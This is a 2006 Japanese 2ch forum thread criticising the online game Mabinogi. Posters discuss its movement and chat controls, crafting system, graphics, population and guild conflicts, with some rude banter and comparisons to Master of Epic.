1 :
名無しオンライン:
2 :
名無しオンライン:2006/01/27(金) 21:32:18.43 ID:Qql3/+R0
2
3 :
名無しオンライン:2006/01/27(金) 21:32:35.48 ID:xzKRjC5G
乙wwwwwwwwwwwwwwww
4 :
名無しオンライン:2006/01/27(金) 21:34:14.87 ID:RRvAXHPO
102 名前:名無しオンライン[sage] 投稿日:2006/01/19(木) 08:22:06.24 ID:PafVIygu
信者がみとめる問題点
・MAPが狭い、割に移動に不便(構造的な問題)
・ダンジョンがワンパターンすぎ、プライベート狩場としてしか機能していない
・チャット周りの不便さ
この3点はどうしようもなす
5 :
名無しオンライン:2006/01/27(金) 21:34:40.62 ID:RRvAXHPO
340 名前:名無しオンライン[sage] 投稿日:2006/01/22(日) 15:54:50.38 ID:0BM1modK
ナク氏がやめておかしくなりつつあるってのは信者でも否定できんわ
UOの太陽剣みたいな頭おかしい奴が現れないことを祈るのみだ
6 :
名無しオンライン:2006/01/27(金) 21:39:57.37 ID:RRvAXHPO
699 名前:名無しオンライン[sage] 投稿日:2006/01/24(火) 13:35:43.69 ID:nBXNw8Bo
マビノギの特徴:
いいとこも悪いとこもいっぱいあるけど
悪いところを素直にあげると住民が狂ったように否定しつつ
悪いところを上げたマビプレイヤーをMoE厨扱いして喚く
7 :
名無しオンライン:2006/01/27(金) 21:43:02.84 ID:jRJH3zKm
8 :
名無しオンライン:2006/01/27(金) 21:45:27.31 ID:RRvAXHPO
9 :
名無しオンライン:2006/01/27(金) 21:47:24.09 ID:qCM0iqhI
MOE厨必死だなw
10 :
名無しオンライン:2006/01/27(金) 22:34:03.73 ID:R1hMD5ax
>8
*彼*が立てたんじゃないかな。
11 :
名無しオンライン:2006/01/27(金) 22:48:27.56 ID:XK1IBf9f
12 :
名無しオンライン:2006/01/27(金) 23:09:59.56 ID:CniN7mDh
ほんとに過疎ったらどんなにいいか・・・・・
13 :
名無しオンライン:2006/01/27(金) 23:23:12.45 ID:aXhZdwn5
今日もやることない
14 :
名無しオンライン:2006/01/27(金) 23:24:56.40 ID:Xk92ny6q
だってマビノギだし
しかたないよ
15 :
名無しオンライン:2006/01/27(金) 23:27:09.60 ID:y2Dp9fhF
マウス移動疲れすぎ
戦闘楽だからまだいいけど長時間できないよ…
結局チャットしかしてない日々
16 :
名無しオンライン:2006/01/27(金) 23:31:28.76 ID:R1hMD5ax
単純なものでいいから自動移動は欲しいですよね。
前スレでそんな事書いたら「クエストを残しておいて〜〜」だの「マウスボタン押しっぱなしでALTが〜〜」だの。
んな馬鹿な、そもそもシステム側で対応すべき事だろう!って話ですよ。
17 :
名無しオンライン:2006/01/27(金) 23:37:12.58 ID:M0T/eZVN
>>4 チャット周りの〜は最近色々改善されたけどどうなんでしょ
個人的には慣れちゃったから問題とは思って無いんだけれど
18 :
名無しオンライン:2006/01/27(金) 23:38:27.65 ID:5PR0GQj1
人多杉でオモス
19 :
名無しオンライン:2006/01/27(金) 23:41:02.49 ID:XK1IBf9f
>>16 あー、それは思うな。
と、いうか、街間のマップ、mobも大して湧かないし
基本的に非アクティブだから、「通るだけ」のマップになってて
操作性の問題もあり、広くてウザイだけ。になってるのは詰まらんな。
PT組まないと危なくて隣の町まで移動できません
ってな状況なら傭兵家業もできて面白いと思うんだが
まぁ、マビノギっぽくはないか。
20 :
名無しオンライン:2006/01/27(金) 23:44:39.40 ID:KjNoCLsC
飽きたらさっさと消えてくれると助かる
21 :
名無しオンライン:2006/01/27(金) 23:47:37.26 ID:RRvAXHPO
>>17 PT会話するとたとえログを開いていても強制的に全体会話も隠れる
一度Enter押してから会話を開始しないといけない
TABキーが武器持ち替えと同じキーな件
IMEまわりで特殊操作を挟むと日本語変換に二度と戻すことができなくなる
ささやきが全く使えた試しがない
このあたりは致命的かと思われ。
22 :
名無しオンライン:2006/01/27(金) 23:56:11.36 ID:ZOIqNo+x
両方のアンチスレを見てみると
ちょっと内容が違うだけで全く同じノリな事にきづいて吹いた
一番面白いのは
マビノギの場合
対人がないからやることがすぐなくなる
MoEの場合
対人以外しかやることがないからすぐあきる
なんじゃこりゃ
23 :
名無しオンライン:2006/01/27(金) 23:59:12.78 ID:BtcGdHn9
ワロス
結局なにもやることないんじゃん。
ニートプギャー
24 :
名無しオンライン:2006/01/28(土) 00:00:56.62 ID:9mXiXhBm
>>22 そんな対人に興味ないから
俺にはワケワカラナスwwwwwwwww
俺の飽きちゃった理由か
マビは戦闘慣れるとつまらなくなっちゃうし
強くするっていうのにそれほど執着ないから飽きちゃったかな
他に無理やりアレなところあげると
・チャットやり辛い
・元はチョンゲだからかな?クリゲーみたくバイトとか時間に追われやすいのが俺には苦痛
・生産やるにもAP必要。金絶対にみつがないとだめ。
んでMoeに戻ってきたけど
時間に追われることなく生産とかやれて
マビよりはやれること多く感じた
画面弄ったりね。
マビつまらーーーんってわけじゃないんだけど
俺にはMoEあってたからそっちやっちゃってる。
それだけかな
25 :
名無しオンライン:2006/01/28(土) 00:01:41.45 ID:ZOIqNo+x
>>22 対人以外じゃねえw
対人しかやることがないからすぐあきる、だった
26 :
名無しオンライン:2006/01/28(土) 00:03:19.01 ID:243F05zN
マビは作曲もできるんだがよ
27 :
名無しオンライン:2006/01/28(土) 00:04:11.06 ID:G8mB98G4
>>24 MoEの生産はな…
カッパーバトルフォークオンラインで100になっちゃうから面白みがない。
28 :
名無しオンライン:2006/01/28(土) 00:06:13.85 ID:9mXiXhBm
>>26 あ〜作曲な
手つけてない・・歌好きなんだけど
あっちの知識さっぱりなんだよね
覚える手間よりお手軽なほうとっちゃったわ
作曲スキルはAPある程度関係なしに遊べたっけ?
>>27 鍛冶はまだやってないんだわ
俺料理好きだから色々レシピ埋めるのがおもろい
釣りも好きや
29 :
名無しオンライン:2006/01/28(土) 00:08:07.92 ID:gq/0l1Qs
ゲームと波長が合って楽しめる時期はなんにでも面白さを見つけられるもんだ
合わなくなったらやめればいい。遅いか早いかの違いだしゲームタイトルも関係ない
30 :
名無しオンライン:2006/01/28(土) 02:51:47.71 ID:pPE139py
公式にネクソンのゲームをやってる全体の数が出てなかったっけ?
ピーク時でどんくらい居るんだろ・・・
31 :
名無しオンライン:2006/01/28(土) 07:03:02.39 ID:Qk+uOhIt
>>26 音楽に魔法効果実装が早い段階でされていれば面白かったんだが
所詮アニメやエロゲの曲垂れ流すだけのケータイ以下の機能はどうでもいい
32 :
名無しオンライン:2006/01/28(土) 07:24:52.88 ID:Cc6714LM
Enterチャットを嫌う人は多いんですね。
私がプレイしたゲームは大半がそっちだったし、あまり気にはならないんですが。
逆にショートカットキーがCTRL+○○とかだったりして不便に感じたものですよ。
まぁどっちがいいという問題でもないし、その辺はコンフィグで対応すべきなんですけどね。
両方できるのが一番ですよ。
33 :
名無しオンライン:2006/01/28(土) 10:33:20.39 ID:W85HUWOV
>>32 Enterでチャットモードに入るのが、というよりも
(そうでないゲームってあるん?)
文字が小さすぎる
ペットの意味のない台詞がログに残る
全体にしとかないと画面上に選択したグループ以外の会話が出てこなくなる
(チャットウィンドウ内のほうの振り分けは当然あっていいんだけど)
で、全体だとシステムメッセージが強制出力
だから喋りかけられててもさっぱり気づかないって事が
往々にしてある。
オープンの発言だと普通はその画面内の誰かが対象
(まぁ、独り言や誤爆の可能性もあるが)
なんだけど、その対象もつかみづらいから返答していいのか
悩む→相手は無視されたと思う
んで
>>16あたりと絡んで
ただ移動してるだけなのに、文字打てないからみんな無言で
会話がなかなかできない
チャットゲーとかいうならIRCやってろ、って本気で思うシステムだよ。
つか、俺必死すぎ。
34 :
名無しオンライン:2006/01/28(土) 10:38:45.11 ID:E8NfXydz
マビノギやってからMOEやってみたけど、キャラが気持ち悪くてMOEは辞めた。
まあマビである程度そろえた後だったからそう感じるのかもしれないが…。
キャラならマビ、その他ならMOEでいいんじゃね
35 :
名無しオンライン:2006/01/28(土) 11:27:40.99 ID:GkB13cR0
タゲりにくい
文字小さい
カーソルでチャット欄のカーソル移動出来ない
移動が遅い
マップが狭いのに、無意味な場所が多い
ムーンゲート不便
アイテムは落とさない仕様にするべき
トレード不可アイテム多すぎ
36 :
名無しオンライン:2006/01/28(土) 11:30:16.64 ID:9mXiXhBm
アイテム落さないって
敵が?PCは死んでもアイテムドロップなかったよね。
37 :
名無しオンライン:2006/01/28(土) 11:31:53.80 ID:LYHRDZ7V
最近のゲームじゃあり得ないほど雑でキモいあのグラが失敗の全ての原因だと思う
信者は何でも美化しようとするからあのキモグラをマビの特徴とか言うけどね
38 :
名無しオンライン:2006/01/28(土) 11:34:45.15 ID:9mXiXhBm
顔の表情変化させたり
独特って意味で十分特徴あるんじゃないの?
キモいかどうかはともかく
俺には合わないけどね・・・
39 :
名無しオンライン:2006/01/28(土) 11:36:27.73 ID:D4WpT0Pn
>>37 デカロンでもいっとけ^^
初日から過疎ってるけどなwwwwwwwwwwwwwwwwwww
5鯖中4鯖全8ch平日でも混雑休日は当たり前という現状じゃ、
まだまだこれからってことだな。
40 :
名無しオンライン:2006/01/28(土) 11:37:11.36 ID:QOxzjLx/
もうだめだなこりゃ
41 :
名無しオンライン:2006/01/28(土) 11:39:03.97 ID:vjZWJHWv
>>37 ヲタにはそこそこウケいいんだよ
韓国でも完全にヲタゲーとして扱われてるしな
42 :
名無しオンライン:2006/01/28(土) 11:43:57.00 ID:Cc6714LM
>38-39
まともな批判とコピペもどきの煽りを見分けるくらいしなさい。
>35
タゲりにくい → CTRLキー使うと簡単
文字小さい → 全くその通り
カーソルでチャット欄のカーソル移動出来ない → デマ流すな
移動が遅い → 羽根・ムーンゲートを使おう。馬も来るぞ。
マップが狭いのに、無意味な場所が多い → 無駄なところがいいんじゃないか。狭いのはよくないけどね。
トレード不可アイテム多すぎ → 通行証とクエストアイテムくらいじゃない?
ムーンゲート不便
アイテムは落とさない仕様にするべき
→ 何でも楽ならいいってもんじゃないと思う。我慢のできない人が増えてますよね・・・
43 :
名無しオンライン:2006/01/28(土) 11:53:17.26 ID:bgMU524/
☆☆☆マビノギは新規お断りゲーム☆☆☆
キャラを成長させるためには転生することが必要です
転生する度にリアルマネーが必要です
強くなるためにどんどんリアルマネーを注ぎ込みます
しかもその転生はリアルで3週間経たないとできません
新規はどんなに頑張っても前人には一生追いつくことはできません(笑)
初期プレイヤーのみがマンセーできるゲームです
戦闘ではひたすらmobとだけ戦います
スキルが極端に少なくワンパターン化しています
もちろんMMO最大の醍醐味である対人戦の楽しみは味わえません
移動がマウス移動オンリーでとにかく疲れます
自動移動が無いから遠くに行く時もずっと画面にひっついて
マウスをポチポチクリックの繰り返し
生産は糞マゾいうえに運が全てです
44 :
名無しオンライン:2006/01/28(土) 12:08:14.42 ID:C6isqfGf
生産が戦闘スキルの効率のスキルに直結するってのが痛いよな。
G2以降、弓が強烈だからと生産覚えた廃に生産の市場はあっという間に食いつぶされ、
初期からまったりがんばってた生産職存在意味なしで中華から買取。
そんな現状に失望してやる気なくして、引退したまったり派は多いと思う。
マビノギでいま継続して、残ってるのは俺TUEEEEEしたい厨房だけだろ。
そいつらもそろそろ飽きる頃かな。
45 :
名無しオンライン:2006/01/28(土) 12:18:36.59 ID:v9GeXMOA
そういやよくMoEとマビノギ生産を比較して書いてる連中がいるのだが
よくもまあそこまで見当違いの方向へぶっとばせるもんだと
感心させられてしまう。
MMOにおける生産そのものが脱出不可能の袋小路に嵌りこんでいて
もはやどうしようもないことに何故気付かないんだろう。
46 :
名無しオンライン:2006/01/28(土) 12:25:50.43 ID:C6isqfGf
>>45 な に を い ま さ ら 。
生産職はもともとどのMMOでもマゾ職だろ。自己満足を満たすための役割。
それは個人の楽しみ方だから口出しするほうが野暮ってもんだ。
だがマビノギは(゚д゚)ウマーというか、もはや「必須」になってるわけで。
ここが決定的に違うんじゃね。
47 :
名無しオンライン:2006/01/28(土) 12:26:06.41 ID:8czkORr0
だからさ、こんな糞スレ立ててもマビノギvsMoEはもう起きないんだよ。
いい加減学習しろよな。
学校すらろくに行ってない馬鹿はこれだから困るんだよ。
48 :
名無しオンライン:2006/01/28(土) 12:26:45.54 ID:Mzi3MV9H
マビまともにやってる奴なら、他のゲームでタゲる方が遥かに面倒っつーか
他ゲーもCtrl採用希望、という感覚になりそうな希ガス
49 :
名無しオンライン:2006/01/28(土) 12:31:45.30 ID:Cc6714LM
マゾいのは大した問題じゃないですよ。
それよりも生産スキルを上げる事自体が目標となるために、価値が素材>完成品となる問題の方が深刻。
この問題をクリアできたMMORPGってあるのかな・・・
50 :
名無しオンライン:2006/01/28(土) 12:33:55.78 ID:PJq5fzq5
Mobをタゲるのはいいんだけど、
落ちてるアイテムとか拾うのダルくね?
51 :
名無しオンライン:2006/01/28(土) 12:37:34.45 ID:C6isqfGf
>>49 スキル制だからやむをえず・・・と言いたいところだが
ステータス上昇のためのスキル上げで、
しかも「失敗する」ために生産するという無駄な生産は
ネトゲではマビノギが初だと思う。
52 :
名無しオンライン:2006/01/28(土) 12:41:33.76 ID:Mzi3MV9H
Altに慣れると、大抵のクリゲのアイテム拾いよりはかなり楽に感じるがなぁ
拾わないでいいシステムよりは手間だが
53 :
名無しオンライン:2006/01/28(土) 12:43:14.69 ID:xWbcSEjG
失敗必須は意味分からんよなw
Ctrlはクソ便利だけどアイテム拾いにくいってのは同意。
もう少しAltで表示される名前を大きくするか、アイテム掴みポイントを増やして欲しい。
54 :
名無しオンライン:2006/01/28(土) 12:44:21.81 ID:8lql1JdE
いいからハバネロフオカッチャ喰え
55 :
名無しオンライン:2006/01/28(土) 12:46:32.13 ID:C6isqfGf
まぁ生産に関しては、
もともと開発の方向が行き当たりばったりだったということか。
韓マビでテストしてたんなら
一次・二次の生産のステ上げ一切無しパラ化してもDEX上昇なしにすればよかったと思う。
そうすれば生産職は分離できて、キャラクターの均一化は防げたはず。
でもそうすれば戦闘職のスキルが均一化するか・・・ホント難しいね。
逆に、薬草・調合はあんなに報われないのにね。
56 :
名無しオンライン:2006/01/28(土) 12:47:03.09 ID:Cc6714LM
「失敗でも修練になる」って点はとてもいいんですけどね。全くの無駄にならなかったという救いがあるし。
しかし「失敗しないとこれ以上修練できない」とかまで行くと意味不明。
もっとマシな調整はできなかったのかと。
57 :
名無しオンライン:2006/01/28(土) 13:04:32.16 ID:C6isqfGf
●近接型・・・まだ現在の主流、だがもはやサマルトリアになりつつある。人口はAR型に流れ気味。ランク1やらマスターを目指すのはもはや趣味で目指してる。。
アタックB以上 スマッシュ9以上 カウンターC以上 ウインドミル9以上 アイス9以上
●AR型・・・文句なしに最強、最終形態。現在増殖中。近接をアントレしつつ、ミル1生産スキル上昇を目指す。
レンジ1 AR持ち ミル9以上 生産スキル必死上げ中
●ARなしまったり型・・・AR持たず、近接戦闘も弱いタイプ。趣味スキルといわれる。ひとそれぞれ。・・・需要はないが。
ある意味一般人。一番マビノギを楽しんでる。
●生産型・・・2次生産特化。1次でないのがポイント。サブキャラに持っている人が多かったがそれもほとんど死滅。
まあひとそれぞれですがおおまかこの4種類に当てはまるかと。
58 :
名無しオンライン:2006/01/28(土) 13:06:07.15 ID:C6isqfGf
ちなみに俺はAR型な。まあどうでもいいが言っとくわ。
59 :
名無しオンライン:2006/01/28(土) 13:09:37.44 ID:v9GeXMOA
いい加減まったり幻想は捨てたほうがいいと思うよ
60 :
名無しオンライン:2006/01/28(土) 13:11:59.39 ID:C6isqfGf
>>59 まったり幻想はやっぱ捨ててほうがいいか。
まだ「ARなしまったり型」の一般人は残っていると信じたいだけどな。
61 :
名無しオンライン:2006/01/28(土) 13:12:46.42 ID:9+3Y90j1
☆☆☆マビノギは新規お断りゲーム☆☆☆
キャラを成長させるためには転生することが必要です
転生する度にリアルマネーが必要です
強くなるためにどんどんリアルマネーを注ぎ込みます
しかもその転生はリアルで3週間経たないとできません
新規はどんなに頑張っても前人には一生追いつくことはできません(笑)
初期プレイヤーのみがマンセーできるゲームです
戦闘ではひたすらmobとだけ戦います
スキルが極端に少なくワンパターン化しています
もちろんMMO最大の醍醐味である対人戦の楽しみは味わえません
移動がマウス移動オンリーでとにかく疲れます
自動移動が無いから遠くに行く時もずっと画面にひっついて
マウスをポチポチクリックの繰り返し
生産は糞マゾいうえに運が全てです
62 :
名無しオンライン:2006/01/28(土) 13:14:39.67 ID:xWbcSEjG
「ARなしまったり型」の俺が来ましたよ
魔法は軒並み5↑ですが
63 :
名無しオンライン:2006/01/28(土) 13:17:25.74 ID:v9GeXMOA
そうじゃなく
本当の意味でまったり、な人種は他人を切り捨ててるから。
他人がどれだけ最強厨やろうが、まったく影響されない。
そこで愚痴言い始めるのは
「最強厨になりきれなかった、まったりの革を被った必死厨」
にすぎないんだよ、実は(笑
64 :
名無しオンライン:2006/01/28(土) 13:25:47.81 ID:C6isqfGf
>>63 >>58で明記済。
最強厨の愚痴?といわれててもダンジョン自分の力とも限界は見えてるわけで。
問題は「俺も含めてそういう住民しか残ってない」ことについてなのかな?
そのこと批判したいだけだったら。
それをすでに見抜いてる君は全体を通じて
マビノギは「最強厨になりきれなかった、まったりの革を被った必死厨」しかいないと思ってるってこと?
65 :
名無しオンライン:2006/01/28(土) 13:27:47.66 ID:dCH78dmo
マビって何でこんな叩かれるの?
小さいゲームなんだからそっとしといてくれよ
66 :
名無しオンライン:2006/01/28(土) 13:34:43.79 ID:XW20NfuB
マビノギはROと同じタイプの人間が多いからな
レベルがどうのスキルがどうの装備がどうの効率がどうのとか
うるせぇよ
結局自慢と見栄、虚栄心の塊のようなやつらばかりが巣くってる
どこもかしこも♀キャラばかりで気持ち悪いし
俺はマビノギの大好きで、
このゲーム一本をずっとやり続けるつもりだったが、
ギルドメンバーのキチガイっぷりにこの現実に気が付いたよ
67 :
名無しオンライン:2006/01/28(土) 13:38:51.49 ID:xWbcSEjG
ナオのフィギュア40分で完売とからしいしな
キモオタが多いんだろ
68 :
名無しオンライン:2006/01/28(土) 13:44:08.46 ID:3Dw4XOwj
>>65 2chのアンチスレなんて一部の片寄った奴等の巣窟ですから、気になる人は見ない事をお勧めしますよ。
69 :
名無しオンライン:2006/01/28(土) 13:56:40.18 ID:moA29Hcx
これ以上人減ったらどうなるんだろ…
70 :
名無しオンライン:2006/01/28(土) 13:57:49.97 ID:3Dw4XOwj
>>69 快適になる。
正直、毎日夜になると全鯖混雑、たまに1ch満員とか止めて欲しいわ。
71 :
名無しオンライン:2006/01/28(土) 13:58:38.56 ID:te1f5ASE
もっと金貢がないと続かないね
72 :
名無しオンライン:2006/01/28(土) 13:59:30.53 ID:50NZCM0t
>ナオのフィギュア40分で完売とからしいしな
wwwwwwwwwwwwwwww
73 :
名無しオンライン:2006/01/28(土) 14:02:08.89 ID:ZT2D5NB4
グラの時点でヲタ専用ゲーだと気づけよカス
74 :
名無しオンライン:2006/01/28(土) 14:10:19.15 ID:v9GeXMOA
そうじゃない。
競争を捨てている(とみせかけている)人間=まったり
これは幻想にすぎない、ということさ。
75 :
名無しオンライン:2006/01/28(土) 14:14:17.56 ID:Mzi3MV9H
>>66が糞ギルドに入っただけにしか見えない俺ダルシム
76 :
名無しオンライン:2006/01/28(土) 14:17:15.76 ID:93XI1sY3
しかし人がいないなこのゲーム
77 :
名無しオンライン:2006/01/28(土) 14:18:08.46 ID:Cc6714LM
その鯖は・・・その鯖はッ!!
78 :
名無しオンライン:2006/01/28(土) 14:44:24.54 ID:G8mB98G4
79 :
名無しオンライン:2006/01/28(土) 14:51:02.72 ID:XW20NfuB
>>75 63の言うとおりだよ
結局自分は他人を切り捨て切れなかった
ソロとか知り合いとだけとかで気ままにやってたときは幸せだったよ
あのギルドに入らなかったらっていつも思う
韓国情報みて2chでいつ日本にくるんだろうって
すげー楽しみにしてたマビノギも今じゃほとんどやってない
口を開けばスキルの話装備の話
ダンジョンにいけば上手いだの下手だの俺つえええだの
たまにまとまな話題になったと思ったら、
すぐに人生相談室みたいなことになる
好きな人とかやりやすい人と、まったりやろうと思って動けば
〜は〜を置いてダンジョンいった、あの世いったとか言い出す始末
気ままにやることすらできなかった
80 :
名無しオンライン:2006/01/28(土) 15:05:39.80 ID:a4MgkTV2
もうどうしようもないな…
81 :
名無しオンライン:2006/01/28(土) 15:09:21.23 ID:Mzi3MV9H
そういう人種が多数とはとても思えないっつーか、ギルド入る前はそんなフレ
ばかりじゃなかったろうに。
書き込みを総合すると、マビは大好きだったのに糞ギルドで萎えた、ということ
らしいから、まず気の合わないギルドを抜けといて、しばらくフレ繋がりで潜って
れば気の合いそうなギルドが見付かるんじゃね。実際そういう人を二〜三人は
知ってるし。
82 :
名無しオンライン:2006/01/28(土) 15:09:26.87 ID:lGcoZWGX
人間関係トラブルをゲームのせいにするなよ
マビなんかギルドぬけやすいしchのおかげで粘着もされにくいだろうに
まったりがコンセプトだからってやってる人がまったりとは限らんだろ
83 :
名無しオンライン:2006/01/28(土) 15:21:21.86 ID:ET5eGk37
>>79 そういう奴らの声はでかいってだけだろ
ギルド自体が糞かどうかはまた別の話
84 :
名無しオンライン:2006/01/28(土) 15:37:38.00 ID:XW20NfuB
一度メッセに登録すれば自分が消しても相手には残るって嫌悪感ないの?
あと自分がいたギルドは最初はこんなんじゃなかった
β中に気の合う人たちと集まってできたギルドだったんだよ
G1きたあたりから女神を必死にクリアしたがる人が現れだして、
マビノギに色々実装されはじめるにつれ周りのほとんどがこうなっていった
βから一緒にやってた人を切り捨てるとか、根が深くて簡単にできないよ
ch変えたって鯖が一つの以上いつかは出会うし、そのときにどうすればいいのかもわからない
他人の振りとかは自分にはできそうもないし
結局は少数派の自分が引くほうが丸く収まる
どんな下ネタトークも我慢できても周りの変化だけは我慢ならなかったし、ついていけなかった
思ったのはマビノギのコンセプトはまったりのように見えて
実際はこういう風に最強厨必死厨を生み出しやすい体質を持ってるんじゃないのかってこと
自分の鯖は自慢厨が多いって聞いたけど、鯖によって雰囲気違ったかもしれないけどな
85 :
名無しオンライン:2006/01/28(土) 16:14:55.62 ID:cfzwFZAh
マビノギっつーか
日本人ユーザーの体質そのものの問題だよ。
最強必死勇者様だらけなのは。
86 :
名無しオンライン:2006/01/28(土) 16:37:58.06 ID:ET5eGk37
ヒステリックに同じ事を繰り返さないと得られる物は少なくて
しかも、達成感がないっていう韓国製(マビノギに対してはちょんて言いたくない)MMORPGの要素があるのは感じるね
ま、FFXIもそこら辺同じだけど
それでも、マビノギは多くの問題点を解決してるし、素性の悪いゲームじゃない
まぁ、ヒーラーやバッファーに対する提案ができてないのは残念だけどね
元は同じ方向を見て、親しくなって生まれた仲間達が時間とともに変わっていってしまうことは
ゲームでもリアルでも起こることだし、自分も変わっていってしまうというのも同じ事
その点に関しては、とどのつまり、環境のせいではなく自分の問題だよ
自分は性格がヒーラーやバッファー向けだからな
仲間に必要以上の負担をかけたくないと考えるし
自分の余力で仲間を助けたいと思う
それ故に、最強とまでは行かなくてもなるべく強くはなりたいと思ってるが
自分が得た強さをどう使おうとするかで、人との距離をどう保つかを自分で判断すべきだろ
87 :
名無しオンライン:2006/01/28(土) 16:39:44.55 ID:sAeXKIXI
無料化の頃に始めて、今は課金してG2クリアまで進めた俺がきましたよ
知り合い8人くらい誘ってみたら1週間でやめちまった。
オオカミ狩るのに飽きたらしい
ギルド入ってみたら、周りの連中がやることないつってどんどんやめちまった。
いつまでたっても強くなった感じがしないらしい。
ミスったらイチコロのまま敵だけどんどん強くなるもんな
88 :
名無しオンライン:2006/01/28(土) 16:46:12.85 ID:WUNBy/ku
このゲームがヒーラーやバッファーを排除したとこは、
いいとこだと思うんだけどね。
アンチスレでよさを語っても仕方がないが。
89 :
名無しオンライン:2006/01/28(土) 17:52:43.57 ID:pPE139py
強くなりたくない人なんてほとんど居ないだろ
RPGなんて強くなる以外に何があるんだ(´ω`)
90 :
名無しオンライン:2006/01/28(土) 17:57:27.76 ID:Qaytyhoi
MMORPGの醍醐味は絆ですよ絆
田中もそう言ってたじゃん
91 :
名無しオンライン:2006/01/28(土) 18:22:13.07 ID:cfzwFZAh
最強になりたいなら
ドラクエでもやればいいんじゃね?
92 :
名無しオンライン:2006/01/28(土) 18:24:38.49 ID:/U5Q0rtl
ネトゲをやってるのは全員オタだと思うがどうだろう?
93 :
名無しオンライン:2006/01/28(土) 18:32:31.17 ID:Qaytyhoi
オタじゃない日本人を挙げてみろ
94 :
名無しオンライン:2006/01/28(土) 19:23:43.65 ID:M45DNDPD
>>90 / ̄ ̄ ̄ ̄ ̄ ミ
/ ,――――-ミ
/ / / \ |
| / ,(・) (・) |
(6 つ |
| ___ | / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
| /__/ / < なわけねぇだろ!
/| /\ \__________
95 :
名無しオンライン:2006/01/28(土) 19:53:29.37 ID:CyHS4kkV
アタックスキルの生命力+ってさ、絶対設定ミス
+30なのに+10しか増えてねぇ
96 :
名無しオンライン:2006/01/28(土) 19:57:10.03 ID:xWbcSEjG
累計で+30な
1ランクあげる毎に+10
97 :
名無しオンライン:2006/01/28(土) 19:57:20.66 ID:N91HC3IT
>>95 それ確かアタックを覚えて居ない状態に+30じゃなかったっけ?
うろ覚えで自信ないけど
98 :
名無しオンライン:2006/01/28(土) 19:59:49.06 ID:7Wajg2q6
オレもマッタリ型の魔法士寄りサマリーだけど
中級魔法の使えなさっぷりにヤル気が出なくなってG2で止まっている
デブネコはもうちょっと魔法士のことも考えて欲しいものだ
99 :
名無しオンライン:2006/01/28(土) 20:16:08.34 ID:CyHS4kkV
累積加算がめちゃめちゃじゃないか
もしかしてカウンターCの性能変わった?
スタミナの減りが遅くならない
最初のうちは面白かったけど
どうも管理されてる感が強すぎてのめりこめなかった
オレは強くなくても全然いいが、
「弱い」とか「ヘタ」とか言われるのがムカつくな。
そいつはニートでずうっとマビやってて、
なるほど確かに強い。
しかし、全うな社会人(のつもり)のオレを、
そいつと一緒にされたら困る。
他人に自分の価値観を押し付けるなって思うんだよね。
30歳にもなって、人間同士の距離感をいまだにつかめていない
バカもいるってことだ。
そういうやつはスルーしてれば問題ない。
何がいいたいかって言うと、強くなくていいし
強くありたい人もいて、互いにああしろ、こうしろって
いっても不快なだけだってことだ。
ニートだからこそ自分が誇れる数少ない事柄を自慢したいんだろ
そっとしておいてやれ
マビのヲタ世界に大金はたいて入り込める奴なんてほんの一部だろ
だから終わっちゃったわけで。
そんな事より廃れきってそろそろサービス終了しそうなMOEを盛り上げろよ
一応国産なんだしよw
>>105 MoEも面白いよ。今はやめちゃったけど。
廃れきったわけでもないだろう。
ログイン人数などのソースきぼん
MOEは絵がキモイ
ハドソンがなんであんな絵しか描けなくなったんだろうと本気で思った
同じ資金投入するなら天外魔境オンラインを作ってほしかったとも思った
マビノギは別の方向で絵がキモイ
それでいてゲーム内ではまったくそれが反映されてないポリキャラ
PCの性能を考えたら多ポリモードがあるべきだったと思う
人間キャラには失望したので今はペットオンライン
何も考えず敵をぶちのめすだけ
3回もらったら死ぬ体力制SL・RPG風味で暇な時だけやる
無料じゃなかったら絶対にやめてたと思う
マビのグラって10年前ぐらいの技術じゃね?
お前3Dゲームやったことないだろ
オレはやったことあるよ。
スターフォックス。
オタオタ言うけど
ネトゲやっててこんな板にまで来ちゃう時点で
自分もオタ気質だって気付いたほうが良いよ
あ、自分だけは違うって思ってるクチでしたか^^;
こりゃ失礼
お前が一番オタオタ言ってるわけだが
なんで全チャンネル混雑なんだよ
1CHに至っては満員で入れねーし
ニホンノMMOダメダメネ^^
10年前ってPSが出た頃じゃね?
懐かしいな2D減ったな
116 :
名無しオンライン:2006/01/29(日) 07:30:53.23 ID:CpbiKjL5
しかしやることがねーな…
☆☆☆マビノギは新規お断りゲーム☆☆☆
キャラを成長させるためには転生することが必要です
転生する度にリアルマネーが必要です
強くなるためにどんどんリアルマネーを注ぎ込みます
しかもその転生はリアルで3週間経たないとできません
新規はどんなに頑張っても前人には一生追いつくことはできません(笑)
初期プレイヤーのみがマンセーできるゲームです
戦闘ではひたすらmobとだけ戦います
スキルが極端に少なくワンパターン化しています
もちろんMMO最大の醍醐味である対人戦の楽しみは味わえません
移動がマウス移動オンリーでとにかく疲れます
自動移動が無いから遠くに行く時もずっと画面にひっついて
マウスをポチポチクリックの繰り返し
生産は糞マゾいうえに運が全てです
これじゃしょうがないだろ・・・
ただ移動するだけでもイライラするんだから
118 :
名無しオンライン:2006/01/29(日) 08:33:48.20 ID:Prc61r8E
自動移動ぐらい欲しいよな
グラからシステムから何もかも10年ぐらい遅れてるゲーム
他のMMOは20年遅れてるってことか
センスねースレタイだな
マビノギが終わった2000の理由
とかにして欲しかった
121 :
名無しオンライン:2006/01/29(日) 08:49:04.09 ID:5zOrJzlr
生産が糞過ぎたのが敗因
リネ2の生産はもっと酷かったなぁ。
韓国製ゲームの中ではマシな方なのかも。
MMO生産は全部糞
なに言ってんのオマイラw
124 :
名無しオンライン:2006/01/29(日) 09:21:54.09 ID:4jbH9Olc
なんか可哀想になってきた
125 :
名無しオンライン:2006/01/29(日) 09:43:45.76 ID:yT8wYK7R
もう糞ゲーなのも過疎なのもみんな知ってるからいまさら言わなくても
ヲタだけにターゲットを絞ったグラフィックが客層を狭めたのは事実
ゲーム内は終焉モードなのにナオのフィギュアは即売れだし
過疎ゲーを盛り上げるためにマビノギガールなんてものを秋葉原に登場させる始末
戦闘やシステムの糞さ以前にゲームの雰囲気自体が相当やばくなってる
127 :
名無しオンライン:2006/01/29(日) 09:54:28.09 ID:Na857NbZ
マビノギプレイヤーって言うだけでキモヲタだと思われるからなぁ…
それがちょっと辛い
韓国でも日本ヲタアニメに触発されたキモゲーって扱いだからな
MOEの方がキモイがな(´・ω・`)
リネ2の生産って何を指してるのがわからない俺ガイル
スポイル=盗むスキル
クリエイト=組み立てるスキル
種撒きは微妙に生産か?いや・・・やっぱり違うよな
アイテムと交換してもらわないと、実のままでは使い道がないし、それは生産とは言えない
131 :
